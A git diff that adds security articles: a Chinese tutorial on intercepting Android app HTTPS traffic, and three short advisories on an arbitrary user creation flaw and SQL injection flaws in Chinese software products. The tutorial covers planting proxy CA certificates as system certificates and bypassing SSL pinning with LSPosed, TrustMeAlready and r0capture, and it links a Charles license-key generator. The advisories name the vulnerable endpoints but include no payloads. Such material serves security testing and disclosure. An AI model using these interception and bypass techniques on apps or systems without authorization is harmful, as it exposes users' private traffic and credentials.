[2024年最受欢迎的6款黑客专用操作系统](http://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247487158&idx=1&sn=a0a36434ae2b641c0e601af1343660c4&chksm=c1a1fec8f6d677de1acdca401ef169486a081b099a08a5ae2c5feb4eedfe59eb7db9d28cf7e9&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
[黑客在Windows系统下提权的8种主要姿势](http://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247487903&idx=1&sn=ec535ffa91800e3c5ef48e602c8a0e20&chksm=c1a1e1e1f6d668f7cd82cb29d568934f6bc03f06add680dcb6db5d10bffd9a62f13aab883530&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
402
doc/安卓app抓包总结.md
Normal file
402
doc/安卓app抓包总结.md
Normal file
@ -0,0 +1,402 @@
|
|||||||
|
# 安卓app抓包总结
|
||||||
|
北海 沃克学安全 2024-11-29 01:02
|
||||||
|
|
||||||
|
## 申明:文章仅供技术交流,请自觉遵守网络安全相关法律法规,切勿利用文章内的相关技术从事非法活动,如因此产生的一切不良后果与文章作者无关。
|
||||||
|
|
||||||
|
本文由北海师傅发表在先知社区
|
||||||
|
|
||||||
|
文章地址:https://xz.aliyun.com/t/16315
|
||||||
|
# 前言
|
||||||
|
|
||||||
|
这里简单记录一下相关抓包工具证书的安装
|
||||||
|
### burp证书安装
|
||||||
|
|
||||||
|
安装证书到移动设备导出证书
|
||||||
|
|
||||||
|
|
||||||
|

|
||||||
|
```
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
把bp.pem改成727ceb75.0
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
adb上传至设备这里以雷电模拟器为例
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
使用mt管理器把证书从sdcard文件夹下转移到/system/etc/security/cacerts下
|
||||||
|
|
||||||
|
|
||||||
|
添加读写权限
|
||||||
|
|
||||||
|
|
||||||
|
重启后即可
|
||||||
|
### charles证书安装
|
||||||
|
|
||||||
|
charles-proxy-4.6.4-win64.msi链接: https://pan.baidu.com/s/1ZNm71DIZNbjXN5eXwv6TSA?pwd=m79v 提取码: m79vcharles激活码计算器:https://www.zzzmode.com/mytools/charles/
|
||||||
|
|
||||||
|
安装证书到移动设备保存根证书
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
可以保存为pem格式或者cer格式
|
||||||
|
接着后续可以参考前面的burp证书安装步骤
|
||||||
|
### filder证书安装
|
||||||
|
|
||||||
|
导出证书
|
||||||
|
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
之后参考burp证书的操作即可,包括:使用openssl计算格式,转换hash,重命名,上传到模拟器,移动到系统证书目录
|
||||||
|
### 补充说明
|
||||||
|
|
||||||
|
1.实际上,像是bp,花瓶以及fd这些抓包工具,证书的安装除了导出证书再上传的方式外,还有访问代理服务器下载的方式,网上有很多教程,本文重点在总结抓包思路,就不一一赘述了
|
||||||
|
|
||||||
|
2.安装证书的目的是拦截和分析HTTPS流量。而从Android7(API24)开始,系统不再信任用户级别的CA证书,只信任系统级别的证书。所以如果抓包安卓7以上系统的设备,安装证书的时候还要将证书移动到系统级别的证书目录
|
||||||
|
|
||||||
|
例如前面burp证书导入雷电9(android9)模拟器时,我们把证书从sdcard文件夹下移动到/system/etc/security/cacerts目录中。而/system/etc/security/cacerts目录正是用来存放系统级别的CA(证书颁发机构)证书的
|
||||||
|
|
||||||
|
3.对于装了高版本安卓系统的真机,可能无法通过命令行或者mt管理器将证书移动到/system/etc/security/cacerts目录(我这里试过,发现安卓10不行)。此时可以通过Magisk中的Move Certificates模块将用户证书转化为系统证书。Move_Certificates-v1.9.zip链接: https://pan.baidu.com/s/1nqZxuptJIftppEQdPOSl_Q?pwd=5qd5 提取码: 5qd5然后在magisk的模块栏中选择从本地安装成功后就会出现Move_Certificates模块
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
进入设置,找到安全,然后进入凭据相关的一栏,选择从存储中安装
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
然后在用户中就可以看到该证书
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
重启后它就移动到系统证书下了
|
||||||
|
# 抓包
|
||||||
|
### burpsuite直接抓包
|
||||||
|
|
||||||
|
条件:
|
||||||
|
- pc和移动端设备能相互ping通
|
||||||
|
|
||||||
|
- bp证书导入移动端设备
|
||||||
|
|
||||||
|
- 无检测
|
||||||
|
|
||||||
|
下面以雷电模拟器为例:
|
||||||
|
|
||||||
|
burp设置代理
|
||||||
|
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
雷电模拟器配置wifi代理
|
||||||
|
|
||||||
|
|
||||||
|
随便选一个app抓登录的包
|
||||||
|
|
||||||
|

|
||||||
|
### burpsuite+postern抓包
|
||||||
|
|
||||||
|
条件:
|
||||||
|
- pc和移动端设备互通
|
||||||
|
|
||||||
|
- bp证书导入移动端设备
|
||||||
|
|
||||||
|
- 无vpn流量检测
|
||||||
|
|
||||||
|
如果app做了系统代理检测(wifi),而没做vpn代理检测的话,我们可以在Android等设备上启动一个VPN服务,让APP 的所有流量都先经过VPN服务,再抓取APP的网络数据包
|
||||||
|
|
||||||
|
而postern就是安卓的vpn全局代理工具https://pan.baidu.com/s/1ChA4svJIshOlAMcY0efZFA?pwd=zkea
|
||||||
|
|
||||||
|
postern设置代理服务器(服务器地址和端口号与bp的监听地址一致)
|
||||||
|
点击保存
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
设置代理规则
|
||||||
|
选择刚添加的burp代理组
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
点击保存
|
||||||
|
|
||||||
|
|
||||||
|
点击打开vpn(若显示关闭vpn,则表明已经开启了vpn)
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
再次打开app,发现抓包成功
|
||||||
|
|
||||||
|

|
||||||
|
### burpsuite结合proxifer(限于模拟器)
|
||||||
|
|
||||||
|
条件:
|
||||||
|
- 模拟器
|
||||||
|
|
||||||
|
- 模拟器导入burpsuite证书Proxifier是一款强大的网络工具,允许用户将不支持代理的应用程序通过代理服务器进行连接。我们可以使用proxifer代理模拟器进程的流量
|
||||||
|
|
||||||
|
链接: https://pan.baidu.com/s/1caU29yXbAMKYn5HRQ52Qvw?pwd=81u1 提取码: 81u1
|
||||||
|
|
||||||
|
proxifer设置代理服务器(服务器地址和端口号与BurpSuite的监听地址一致)
|
||||||
|
选择HTTP/HTTPS即可
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
设置代理规则
|
||||||
|
|
||||||
|
|
||||||
|
目标程序设置为Ld9BoxHeadless.exe(LdBoxHeadless.exe负责模拟器的运行,雷电9的则是Ld9BoxHeadless.exe)
|
||||||
|
|
||||||
|

|
||||||
|
将代理规则优先级提前
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
burp配置代理设置,跟proxifer的符合
|
||||||
|
|
||||||
|
|
||||||
|
即可抓包
|
||||||
|
|
||||||
|

|
||||||
|
### adb联合burpsuite
|
||||||
|
|
||||||
|
条件:设备安装了burpsuite证书
|
||||||
|
|
||||||
|
有时候,移动设备和测试主机不处于同一网段,且没有设置路由规则,或者所在的无线局域网设置了ap隔离,导致两设备无法互通。对于这种场景,可以采用adb端口转发的方式联合burp抓包
|
||||||
|
```
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
```
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
然后配置burp代理
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
成功抓包
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
adb reverse --remove tcp:6789settings put global http_proxy :0
|
||||||
|
|
||||||
|
补充:安卓高版本进行上述操作后连接wifi会出现一个x,这是由于原生安卓系统验证wifi是否有效,是去访问谷歌的服务器
|
||||||
|
|
||||||
|
运行以下命令:adb shell settings put global captive_portal_https_url https://connect.rom.miui.com/generate_204,(改为访问小米服务器)开启飞行模式,再关闭飞行模式即可解决!
|
||||||
|
### postern+charles+burpsuite
|
||||||
|
###### postern设置
|
||||||
|
|
||||||
|
添加代理服务器
|
||||||
|
|
||||||
|
|
||||||
|
配置好信息后下拉点击保存
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
添加代理规则
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
配置好信息后点击保存
|
||||||
|
|
||||||
|

|
||||||
|
然后打开vpn即可
|
||||||
|
###### charles设置
|
||||||
|
|
||||||
|

|
||||||
|
设置SSL代理
|
||||||
|
|
||||||
|

|
||||||
|
代理设置
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
然后启动SSL代理,就可以抓包了
|
||||||
|
|
||||||
|

|
||||||
|
###### 联动burpsuite
|
||||||
|
|
||||||
|
charles在之前的基础上设置外部代理
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
### 小黄鸟
|
||||||
|
|
||||||
|
HttpCanary是直接在安卓设备上操作的抓包工具HttpCanary_9.9.9.9.apk链接: https://pan.baidu.com/s/16lH8rqZHJW43LRDR5eNCwA?pwd=k692 提取码: k692
|
||||||
|
|
||||||
|
导入证书
|
||||||
|
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
尝试抓包,如下图
|
||||||
|
|
||||||
|
|
||||||
|
开启bp,监听8080即可联动
|
||||||
|
|
||||||
|

|
||||||
|
### fiddler+wifi代理
|
||||||
|
|
||||||
|
条件:
|
||||||
|
- 设备安装fiddler证书
|
||||||
|
|
||||||
|
- 移动设备和PC互通
|
||||||
|
|
||||||
|
fiddler抓包在进行逻辑漏洞挖掘时具有一定的优势,因为相比于bp,它更容易观察流量的整体逻辑。并且fiddler的并发机制比bp优秀
|
||||||
|
|
||||||
|
这里以雷电模拟器为例fiddler配置 导航栏点击Tools,然后选择Options监听端口默认是8888
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
设备设置wifi代理
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
抓包
|
||||||
|
|
||||||
|

|
||||||
|
### fiddler结合postern
|
||||||
|
|
||||||
|
条件:
|
||||||
|
- 设备安装fiddler证书
|
||||||
|
|
||||||
|
- 移动设备和PC互通fiddler也可与postern之类的vpn软件联合,来绕过wifi代理检测,操作与burpsuite相似,这里就不赘述了
|
||||||
|
|
||||||
|
### r0capture(hook抓包)
|
||||||
|
|
||||||
|
条件: 安卓7,8,9,10,11
|
||||||
|
|
||||||
|
https://github.com/r0ysue/r0capture
|
||||||
|
|
||||||
|
r0capture仅限安卓平台7、8、9、10、11 可用,能通杀TCP/IP四层模型中的应用层中的全部协议,包括Http, WebSocket, Ftp, Xmpp, Imap, Smtp, Protobuf等协议,并且能够绕过默认库的证书校验r0capture通过Hook Android系统中的SSL/TLS库的关键函数,如SSL_read和SSL_write,来拦截和捕获应用层的数据包。这些操作发生在SSL层,因此在数据被应用层的代码处理之前,r0capture已经获取了明文数据,从而绕过了应用层的证书校验机制不过也因此无法解密自研的SSL框架
|
||||||
|
```
|
||||||
|
```
|
||||||
|
|
||||||
|
Spawn模式,比如向抓包大众点评,先找到大众点评app的包名
|
||||||
|
```
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
开启frida服务端,然后在r0capture项目文件夹下运行r0capture脚本
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
可以在项目文件夹下看到打印的流量日志
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Attach模式,再以抓包大众点评为例,先找到大众点评的进程名
|
||||||
|
```
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
开启frida-server
|
||||||
|
|
||||||
|
然后在r0capture项目文件夹下运行r0capture脚本
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Ctrl+C停止抓包后,然后就可以在项目文件夹下看到抓到的pcap流量包了
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
wireshark打开
|
||||||
|
|
||||||
|

|
||||||
|
追踪第一条流看看,发现抓包成功了
|
||||||
|
|
||||||
|

|
||||||
|
### tcpdump + wireshark
|
||||||
|
|
||||||
|
tcpdump 是一款功能强大的网络抓包工具,它可以抓取涵盖整个TCP/IP协议族的数据包,但是tcpdump本身无法解密 SSL加密过的数据,所以对于https没有办法
|
||||||
|
|
||||||
|
在安卓设备上运行
|
||||||
|
```
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
这样子做更多的是分析tcp层的通信流程,包括密钥传输等
|
||||||
|
|
||||||
|

|
||||||
|
### Lsposed+TrustMeAlready +bp/fd/charles(突破单向认证)
|
||||||
|
|
||||||
|
条件:
|
||||||
|
- root设备(模拟器也行)
|
||||||
|
|
||||||
|
- 安装了Magisk
|
||||||
|
|
||||||
|
- 设备安装了抓包工具的证书
|
||||||
|
|
||||||
|
Lsposed:https://github.com/LSPosed/LSPosedTrustMeALready:https://github.com/ViRb3/TrustMeAlready
|
||||||
|
|
||||||
|
LSPosed是基于Xposed开发的一个框架,支持android8.0以上的高版本,可以在不修改 APK 文件的情况下,通过模块改变系统和应用程序的行为
|
||||||
|
###### 安装Lsposed
|
||||||
|
|
||||||
|
进入magisk设置
|
||||||
|
打开zygisk
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
将下载好的Lsposed包上传到设备,例如:
|
||||||
|
```
|
||||||
|
```
|
||||||
|
|
||||||
|
选择从本地安装(我这里已经安装了,所以显示有了)
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
开启Lsposed
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
在Lsposed的zip包中找到manager.apk,安装到设备即可
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
打开发现已经激活
|
||||||
|
|
||||||
|

|
||||||
|
###### 安装TrustMeAlready
|
||||||
|
|
||||||
|
使用adb将TrustMeAlready.apk安装到设备上
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
打开Lsposed
|
||||||
|
选择给某个app启用即可
|
||||||
|
|
||||||
|
接着就可以用抓包工具抓包了
|
||||||
|
# 总结
|
||||||
|
|
||||||
|
抓包工具有burpsuite,fiddler,charles等burpsuite适合渗透测试,charles适合开发者分析调试app,fiddler个人认为适合app的逻辑功能的测试(逻辑漏洞挖掘)
|
||||||
|
|
||||||
|
如果没有任何检测,我们通过wifi代理就可以结合抓包工具抓包了。如果存在系统代理检测,可以尝试使用vpn软件(postern等)绕过,或者使用proxifer抓取模拟器进程在模拟器外部实现流量代理
|
||||||
|
|
||||||
|
对于移动设备和PC无法互通的场景,可以尝试在usb连接后使用adb进行流量转发
|
||||||
|
|
||||||
|
如果存在SSLpining(单向证书校验),可以考虑Lsposed框架+TrustMeAlready进行绕过(低版本:xposed+JustTrustMe),如果存在双向证书校验,就得考虑逆向,找到apk中保存的证书了。不过也可以尝试使用肉丝大佬的r0capture脚本把加密前解密后的流量dump出来(如果app没有存在自研SSL框架的话)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~
|
||||||
|
|
||||||
|
|
||||||
|
|
40
doc/漏洞预警 | TamronOS IPTV系统任意用户创建漏洞.md
Normal file
40
doc/漏洞预警 | TamronOS IPTV系统任意用户创建漏洞.md
Normal file
@ -0,0 +1,40 @@
|
|||||||
|
# 漏洞预警 | TamronOS IPTV系统任意用户创建漏洞
|
||||||
|
浅安 浅安安全 2024-11-29 00:00
|
||||||
|
|
||||||
|
**0x00 漏洞编号**
|
||||||
|
- # 暂无
|
||||||
|
|
||||||
|
**0x01 危险等级**
|
||||||
|
- 高危
|
||||||
|
|
||||||
|
**0x02 漏洞概述**
|
||||||
|
|
||||||
|
TamronOS IPTV系统是一款基于Linux内核开发的直播和点播一体化解决方案,广泛应用于宽带运营商、酒店、学校等场景。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
**0x03 漏洞详情**
|
||||||
|
|
||||||
|
**漏洞类型:**
|
||||||
|
任意用户创建
|
||||||
|
|
||||||
|
**影响:**
|
||||||
|
获取服务权限
|
||||||
|
|
||||||
|
**简述:**
|
||||||
|
TamronOS IPTV系统的/api/manager/submit接口存在任意用户创建漏洞,未经身份验证的攻击者可以通过该漏洞创建用户,从而登录后台。
|
||||||
|
|
||||||
|
**0x04 影响版本**
|
||||||
|
- TamronOS IPTV系统
|
||||||
|
|
||||||
|
**0x05****POC状态**
|
||||||
|
- 已公开
|
||||||
|
|
||||||
|
**0x06****修复建议**
|
||||||
|
|
||||||
|
**目前官方已发布漏洞修复版本,建议用户升级到安全版本****:**
|
||||||
|
|
||||||
|
http://www.tamronos.com/
|
||||||
|
|
||||||
|
|
||||||
|
|
40
doc/漏洞预警 | 任我行协同CRM普及版SQL注入漏洞.md
Normal file
40
doc/漏洞预警 | 任我行协同CRM普及版SQL注入漏洞.md
Normal file
@ -0,0 +1,40 @@
|
|||||||
|
# 漏洞预警 | 任我行协同CRM普及版SQL注入漏洞
|
||||||
|
浅安 浅安安全 2024-11-29 00:00
|
||||||
|
|
||||||
|
**0x00 漏洞编号**
|
||||||
|
- # 暂无
|
||||||
|
|
||||||
|
**0x01 危险等级**
|
||||||
|
- 高危
|
||||||
|
|
||||||
|
**0x02 漏洞概述**
|
||||||
|
|
||||||
|
任我行协同CRM普及版是由成都市任我行信息技术有限公司开发的一款客户关系管理软件。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
**0x03 漏洞详情**
|
||||||
|
|
||||||
|
**漏洞类型:**
|
||||||
|
SQL注入
|
||||||
|
|
||||||
|
**影响:**
|
||||||
|
敏感信息泄露****
|
||||||
|
|
||||||
|
**简述:**
|
||||||
|
任我行协同CRM普及版的/crm/api/OpenApi/CommonDict/Edit接口存在SQL注入漏洞,未经身份验证的攻击者可以通过该漏洞获取数据库敏感信息。
|
||||||
|
|
||||||
|
**0x04 影响版本**
|
||||||
|
- 任我行协同CRM普及版
|
||||||
|
|
||||||
|
**0x05****POC状态**
|
||||||
|
- 已公开
|
||||||
|
|
||||||
|
**0x06****修复建议**
|
||||||
|
|
||||||
|
**目前官方已发布漏洞修复版本,建议用户升级到安全版本****:**
|
||||||
|
|
||||||
|
https://www.wecrm.com/
|
||||||
|
|
||||||
|
|
||||||
|
|
42
doc/漏洞预警 | 辰信景云终端安全管理系统SQL注入漏洞.md
Normal file
42
doc/漏洞预警 | 辰信景云终端安全管理系统SQL注入漏洞.md
Normal file
@ -0,0 +1,42 @@
|
|||||||
|
# 漏洞预警 | 辰信景云终端安全管理系统SQL注入漏洞
|
||||||
|
浅安 浅安安全 2024-11-29 00:00
|
||||||
|
|
||||||
|
**0x00 漏洞编号**
|
||||||
|
- # 暂无
|
||||||
|
|
||||||
|
**0x01 危险等级**
|
||||||
|
- 高危
|
||||||
|
|
||||||
|
**0x02 漏洞概述**
|
||||||
|
|
||||||
|
辰信景云终端安全管理系统通过统一的安全管理平台,整合多种终端防护技术,覆盖终端资产管理、病毒防护、补丁修复、安全审计等功能,全面保护企业的终端设备免受安全威胁。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
**0x03 漏洞详情**
|
||||||
|
###
|
||||||
|
|
||||||
|
**漏洞类型:**
|
||||||
|
SQL注入
|
||||||
|
|
||||||
|
**影响:**
|
||||||
|
获取敏感信息
|
||||||
|
|
||||||
|
**简述:**
|
||||||
|
辰信景云终端安全管理系统的/api/user/login接口存在SQL注入漏洞,未经身份验证的攻击者可以通过该漏洞拼接执行任意SQL语句,从而获取数据库敏感信息。
|
||||||
|
|
||||||
|
**0x04 影响版本**
|
||||||
|
- 辰信景云终端安全管理系统
|
||||||
|
|
||||||
|
**0x05****POC状态**
|
||||||
|
- 已公开
|
||||||
|
|
||||||
|
****
|
||||||
|
**0x06****修复建议**
|
||||||
|
|
||||||
|
**目前官方已发布漏洞修复版本,建议用户升级到安全版本****:**
|
||||||
|
|
||||||
|
http://www.v-secure.cn/
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
x
Reference in New Issue
Block a user